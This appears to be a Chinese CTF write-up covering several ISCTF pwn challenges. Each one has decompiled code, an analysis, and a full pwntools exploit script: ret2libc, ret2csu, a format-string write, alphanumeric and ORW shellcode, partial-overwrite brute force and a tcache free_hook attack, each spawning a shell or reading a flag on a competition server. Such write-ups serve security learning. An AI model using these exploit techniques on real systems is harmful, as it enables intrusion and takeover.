前言
题目归档(部分更新)
easy_ret2libc
IDA 反汇编代码
// main 函数int __cdecl main(int argc,constchar**argv,constchar**envp){char buf[56];// [rsp+0h] [rbp-40h] BYREFconstchar*v5;// [rsp+38h] [rbp-8h]setvbuf(_bss_start,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);
v5 ="Will you disclose the base address by using printf?";printf("%s","Will you disclose the base address by using printf?");read(0, buf,0x200uLL);printf("Victory is coming");return0;}// gift 函数
ssize_t gift(){char buf[32];// [rsp+0h] [rbp-20h] BYREFreturnread(0, buf,0x100uLL);}
思路分析
第 11 行 read 明显存在栈溢出,且程序没有 canary 保护,故直接控制程序执行流进行以下操作(分别对应 payload1 和 payload2):
- 利用 printf 泄漏 printf 的 got 表从而得到 libc 基址,同时进入 gitf 函数再进行一次 payload 输入
- 调用 libc 中的 system 函数得到 shell
Exp
from pwn import*
context(log_level='debug', os='linux', arch='amd64')#p = process('./a')
p = remote('120.79.18.34',20809)
elf = ELF('./a')
lib = ELF('./libc-2.27.so')
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
gift_addr = elf.symbols['gift']
pop_rdi =0x400723
ret_addr =0x40061C
payload1 =b'a'*0x48+ p64(ret_addr)+ p64(pop_rdi)+ p64(printf_got)+ p64(printf_plt)+ p64(gift_addr)
p.sendafter('Will you disclose the base address by using printf?', payload1)
p.recvuntil('Victory is coming')
printf_addr = u64(p.recv(6).ljust(8,b'\x00'))print(hex(printf_addr))
base_addr = printf_addr - lib.symbols['printf']
sys_addr = base_addr + lib.symbols['system']
sh_addr = base_addr +0x1B3D88
payload2 =b'a'*0x28+ p64(pop_rdi)+ p64(sh_addr)+ p64(sys_addr)
sleep(1)
p.send(payload2)
p.interactive()
guess_number
IDA 反汇编代码
// main函数int __cdecl main(int argc,constchar**argv,constchar**envp){int v4;// [rsp+Ch] [rbp-14h] BYREFint v5;// [rsp+10h] [rbp-10h]unsignedint seed;// [rsp+14h] [rbp-Ch]int i;// [rsp+18h] [rbp-8h]int v8;// [rsp+1Ch] [rbp-4h]setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);
v8 =0;
seed =time(0LL);srand(seed);puts("Do you want to guess the number in the tense ISCTF competition?");puts("Tell me your name:");read(0,&aC,1uLL);printf("Ok! Are you ready? %s Let's go!\n","c");for( i =0; i <=99;++i ){puts("I will give you a number from 1 to 10000, try to guess it correctly.");
v5 =rand()%10000+1;printf("Enter your number:");__isoc99_scanf("%5d",&v4);if( v5 == v4 ){puts("congratulations!");++v8;}else{puts("I'm sorry you guessed wrong");}}if( v8 ==100)gift(&cmd);elseputs("You lost the game");return0;}// gift函数int __fastcall gift(constchar*a1){returnsystem(a1);}
思路分析
分析程序可知,通过将当前时间戳作为种子传递给 srand,从而得到伪随机序列,而该完全序列由种子确定,实现时只需要利用相同时间戳得到相同序列即可。此处需注意,时间戳以秒为单位,在程序执行时来得及得到相同的时间戳,故无需绕过或溢出 seed
此外,linux 命令行命令 $0 表示当前脚本的文件名,为system传参 $ 0 即可得到 shell
Exp
from pwn import*from ctypes import*import random
import time
elf = cdll.LoadLibrary('./libc-2.27.so')
context(log_level='debug', arch='amd64', os='linux')
seed =int(time.time())#p = process('./guess_number')
elf.srand(seed)
p = remote('120.79.18.34',20485)
p.send(b'0')for i inrange(0,100):
p.sendlineafter('Enter your number:',str(elf.rand()%10000+1).encode())
p.interactive()
inequable_ret2text
IDA 反汇编代码
// main函数int __cdecl main(int argc,constchar**argv,constchar**envp){char buf[32];// [rsp+10h] [rbp-60h] BYREFchar v5[56];// [rsp+30h] [rbp-40h] BYREFunsigned __int64 v6;// [rsp+68h] [rbp-8h]
v6 =__readfsqword(0x28u);setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);puts("Do you know how the strlen function stops?");gets(answer);if((int)strlen(answer)<=0){puts("Right on! So do you know what a canary is?");read(0, buf,8uLL);printf(buf);puts("Are you ready? Let's go!");read(0, v5,0x100uLL);}else{puts("Maybe you should go and learn.");}return0;}// gift函数int __fastcall gift(constchar*a1,char*const*a2,char*const*a3){returnexecve(a1, a2, a3);}
思路分析
- gets()以\n 为结束标识符,\x00 仍能正常读入,而 strlen()以\x00 作为结束标志,故可在 answer 首位布置\x00,之后写入字符串/bin/sh 同时构造一个符合 execve()函数调用的字符串指针数组
- 通过格式化字符串泄漏 canary
- 利用 ret2csu 构造三个参数,执行 execve()即可得到 shell
Exp
from pwn import*
context(log_level='debug', os='linux', arch='amd64')#p = process('./inequable_ret2text')
p = remote('120.79.18.34',20920)
elf = ELF('./inequable_ret2text')
sh_addr =0x601098
payload1 =b'\x00'*8+b'/bin/sh'+b'\x00'*9+ p64(sh_addr)
p.sendlineafter('Do you know how the strlen function stops?', payload1)
p.sendafter('Right on! So do you know what a canary is?\n',b'%19$p')
canary =int(p.recv(18),16)
pop_rdi =0x400903
pop_rsi_pop_r15_ret =0x400901
ret =0x400606
mov_rdx_r15 =0x4008E0
excv_addr =0x601040print(hex(canary))
addr1 =0x4008FA
addr2 =0x4008E0
payload =b'a'*0x38+ p64(canary)+ p64(canary)+ p64(ret)+ p64(addr1)+ p64(0)+ p64(0)+ p64(excv_addr)+ p64(sh_addr)+ p64(sh_addr+0x10)+ p64(sh_addr+0x18)+ p64(addr2)
p.sendafter("Are you ready? Let's go!", payload)
p.interactive()
format_string
IDA 反汇编代码
int __cdecl main(int argc,constchar**argv,constchar**envp){
size_t v3;// rbxdouble buf[15];// [rsp+8h] [rbp-1F8h] BYREFchar format[64];// [rsp+80h] [rbp-180h] BYREFchar s[300];// [rsp+C0h] [rbp-140h] BYREFint i;// [rsp+1ECh] [rbp-14h]setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);mprotect((void*)((unsigned __int64)&stdout&0xFFFFFFFFFFFFF000LL),0x1000uLL,7);puts("Do you know how to find the position of floating point number?");printf("Tell me your answer: ");read(0, buf,8uLL);if( buf[0]==1.97109){puts("Good. Next, try to rewrite a set of data.");read(0, format,0x100uLL);printf(format);if( check !=197109){puts("I don't think you've figured out the answer yet.");exit(0);}puts("What's wrong with shellcode?");memset(s,0,0x200uLL);read(0, s,0x300uLL);for( i =0;;++i ){
v3 = i;if( v3 >=strlen(s))break;if( s[i]>122|| s[i]<=47){puts("Your shellcode doesn't seem right");exit(0);}}strcpy(gift, s);(*(void(**)(void))gift)();}else{puts("You were wrong in the first step");}return0;}
思路分析
- 浮点数按 16 进制发送
- 利用 printf()任意地址写,修改 check
- 利用 ae64 构造纯数字字母的 shellcode
Exp
from pwn import*from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')#p = process('./format_string')
p = remote('120.79.18.34',20028)
flt =0x3fff8995aaf78fef
p.sendafter('Tell me your answer: ', p64(flt))
check_addr =0x6010BC
payload1 =b'%197109c%24$naaa'+ p64(check_addr)#payload1 = b'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'#payload1 = b'aaaaaaaa%22s'
p.sendafter('Good. Next, try to rewrite a set of data.', payload1)#shellcode = ''#shellcode += shellcraft.open('./flag')#shellcode += shellcraft.read('rax','rsp',0x100)#shellcode += shellcraft.write(1,'rsp',0x100)
shellcode = asm(shellcraft.sh())
p.sendafter("What's wrong with shellcode?", AE64().encode(shellcode))
p.interactive()
csu
IDA 反汇编代码
int __cdecl main(int argc,constchar**argv,constchar**envp){setbuf(stdin,0LL);setbuf(_bss_start,0LL);mprotect((void*)0x905390786LL,0LL,0);vuln();return0;}
ssize_t vuln(){char buf[80];// [rsp+0h] [rbp-50h] BYREFreturnread(0, buf,0x200uLL);}
思路分析
反汇编后发现存在栈溢出,但是无法进行 libc 泄漏,又发现 mprotect 函数可以修改内存页的权限,故尝试构造 ret2csu 调用 mprotect 修改 bss 段位 rwx,再写入 shellcode 执行。
Exp
from pwn import*
context(log_level='debug', os='linux', arch='amd64')#p = process('./csu')
p = remote('120.79.18.34',20627)
elf = ELF('./csu')#gdb.attach(p, 'b main')#pause()
addr1 =0x4006DA
addr2 =0x4006C0defcsu(rdi, rsi, rdx, rbp, rbx, r12):
payload0 = p64(rbx)+ p64(rbp)+ p64(r12)+ p64(rdx)+ p64(rsi)+ p64(rdi)+ p64(addr2)return payload0
ret_addr =0x4006E4
bss_addr =0x600000
payload1 =b'a'*0x58+ p64(addr1)+ csu(bss_addr,0x1000,7,1,0, elf.got['mprotect'])+ p64(addr1)+ csu(0, bss_addr,0x200,1,0, elf.got['read'])+b'a'*0x38+ p64(bss_addr)+b'a'*0xe8
p.send(payload1)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
Candy house
IDA 反汇编代码
代码太长了,只贴关键的 solve 函数
__int64 __fastcall solve(int a1){int i;// [rsp+18h] [rbp-18h]int j;// [rsp+1Ch] [rbp-14h]int k;// [rsp+1Ch] [rbp-14h]int v5;// [rsp+20h] [rbp-10h]int v6;// [rsp+24h] [rbp-Ch]
_DWORD *v7;// [rsp+28h] [rbp-8h]
v7 =malloc(4LL*(a1 +5));
v5 =1;printf("\n\x1B[0;34mThere are %d bags here, \x1B[0m",(unsignedint)a1);for( i =1; i <= a1;++i )
v7[i]= i;while(!(unsignedint)check(v7,(unsignedint)a1)){puts("\n\x1B[0;34mcandie(s) in bags:\x1B[0m");for( j =1; j <= a1;++j ){printf("%d",(unsignedint)v7[j]);if( j == a1 )putchar(10);elseputchar(32);}printf("\x1B[0;31mYour choice(1-n, 0 to restart): \x1B[0m");
v6 =readInt();if(!v6 ){puts("\n\x1B[0;32mreseted\x1B[0m");return0LL;}if( v6 >0&& v6 <= a1 ){for( k =1; k <= a1;++k ){if( k != v6 )
v7[k]+= v5;}++v5;}else{puts("\n\x1B[0;31mInvalid index!\x1B[0m");}}return1LL;}
思路分析
题意:solve 函数构造一个 n 维向量 solve 函数构造一个 n 维向量
( a 1 , a 2 , . . . , a n ) (a_1, a_2, ... , a_n) (a1,a2,...,an),其中 a i = i a_i=i ai=i,读取用户任意次输入,其中第 j j j 次输入 k j k_j kj,对所有 i ≠ k j i≠k_j i=kj,执行 a i + j a_i+j ai+j,要求一定次数操作后 n 维向量每项都相等。
思路:其实这也是一个算法题,构造差分数组,对于第
j j j 次输入,输入 k j = j + 1 k_j=j+1 kj=j+1,,即可通过 solve。同时这种构造与 rand 出来的随机数无关,只需循环执行 150 次看回显数据即可。
Exp
from pwn import*
context(log_level='debug')#p = process('./candy_house')
p = remote('120.79.18.34',20153)
p.sendline()
p.sendafter(b'Your choice(1-n, 0 to restart): ','2')
p.sendafter(b'Your choice(1-n, 0 to restart): ','3')
recv_str =''
i =2for j inrange(1,150):
payload =str(i).rjust(8,'0')
i +=1
p.send(payload)
p.interactive()
nothing_to_do
IDA 反汇编代码
ssize_t fun(){char buf[32];// [rsp+0h] [rbp-20h] BYREFreturnread(0, buf,0x100uLL);}
思路分析
题目存在明显的栈溢出,但是不知道 libc 版本,也没有泄漏 libc 的途径,在 ctfwiki 上看见类似题目,使用 partial overwrite,先随机覆盖三个半字节,得到下图 libc 版本。
之后计算栈上含有 libc 地址的位置,获取 one_gadget 覆盖低三字节,部分覆盖进行爆破即可。
Exp
from pwn import*
context(log_level='debug')
ret_addr =0x4011C1
csu_gadget =0x40124C
pop_rdi =0x401253whileTrue:#在爆破libc时payload如下,图中在i = 0x17f时成功# payload = b'a'*0x20 + p64(ret_addr)*3 + p16(str(i).encode())
payload=b'a'*0x20+p64(0)+p64(csu_gadget)+p64(0)*4+p64(ret_addr)*16+ p16(0x3afe)+ p8(0xea)try:#p = remote('120.79.18.34', 20557)
p = process('./nothing_to_do')
p.send(payload)
sleep(0.5)
p.sendline(b'cat flag')
flag = p.recv()assert(len(flag)>0)print(flag)
p.interactive()except EOFError:
p.close()# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
nc_pwn
bin 目录下有 read,所以可以使用 read 命令,对利用重定向输入流的操作读取 flag 即可。
babycode
IDA 反汇编代码
int __cdecl main(int argc,constchar**argv,constchar**envp){int num;// [rsp+Ch] [rbp-14h] BYREFchar*c;// [rsp+10h] [rbp-10h]unsigned __int64 v6;// [rsp+18h] [rbp-8h]
v6 =__readfsqword(0x28u);init();sand_box();puts("easy challenge");puts("input a number . honey~");__isoc99_scanf("%d",&num);if( num >=0)bye();
num =-num;if( num >0)bye();read(0, c,0xAuLL);puts("now enjoy!");read(0, page,0xAuLL);page();return0;}
思路分析
刚开始没给附件,盲注没能成功。
分析反汇编代码知道,此处存在一处整数绕过,发现-2147483648 的相反数仍是-2147483648;接着构造 shellcode,由于字节限制,需要发送两次 shellcode,第一次用于扩大输入字节数。
Exp
from pwn import*
context(log_level='debug', os='linux', arch='amd64')# 构造长度为0xa的shellcode利用rdi, rsi上原来调用read的数据调用read
shellcode2 ='''
mov rdx, 0x80
syscall
nop
'''# 在0x400000+0xa处布置接下来的shellcode,因为禁用execve系统调用,故使用orw
shellcode = shellcode2
shellcode +=f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""
payload1 = asm(shellcode)
p = remote('120.79.18.34',20971)# p = process('./babycode')
p.sendafter(b'honey~',b'-2147483648')# 取相反数后仍是-2147483648
p.send(b'/bin/sh\x00')# 作为padding即可,随便输入
sleep(1)
p.send(asm(shellcode2))
sleep(1)
p.send(payload1)
null
IDA 反汇编代码
太长了不贴了
思路分析
在函数 edit 内,存在 off by null 漏洞,采用 unsorted bin leak 泄漏 libc,然后利用 Tcache attack 劫持 free_hook,即可 getshell
Exp
from pwn import*
context(log_level='debug')#p = process('./null')
p=remote('120.79.18.34',20254)
libc = ELF('./libc-2.27.so')
main_arena_offset = libc.symbols["__malloc_hook"]+ 0x10u
defcreate(idx, sz):
p.sendlineafter(b'4.DEL',b'1')
p.sendlineafter(b'Index: ',str(idx).encode())
p.sendlineafter(b'Size ',str(sz).encode())defedit(idx, content):
p.sendlineafter(b'4.DEL',b'2')
p.sendlineafter(b'Index: ',str(idx).encode())
p.sendlineafter(b'Content: ', content)defshow(idx):
p.sendlineafter(b'4.DEL',b'3')
p.sendlineafter(b'Index: ',str(idx).encode())defdelete(idx):
p.sendlineafter(b'4.DEL',b'4')
p.sendlineafter(b'Index: ',str(idx).encode())for i inrange(7):
create(i,0xf8)
create(7,0xf8)
create(8,0xf8)
create(9,0xf8)
create(10,0xf8)for i inrange(7):
delete(i)
delete(7)for i inrange(7):
create(i,0xf8)
edit(i,b'/bin/sh')
create(7,0x68)
show(7)
p.recvuntil(b'Content: ')
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))print(hex(leak_addr))
libc_base = leak_addr -(main_arena_offset +0x60)-0xf0print(hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']for i inrange(7):
delete(i)
edit(8,b'a'*0xf0+p64(0x190))
delete(9)for i inrange(7):
create(i,0xf8)
edit(i,b'/bin/sh')
delete(8)
create(11,0x88)
create(12,0x68)
edit(12,p64(free_hook_addr))
create(13,0xf8)
create(14,0xf8)
edit(14,p64(sys_addr))
delete(1)
p.interactive()
版权归原作者 GeekCmore 所有, 如有侵权,请联系我们删除。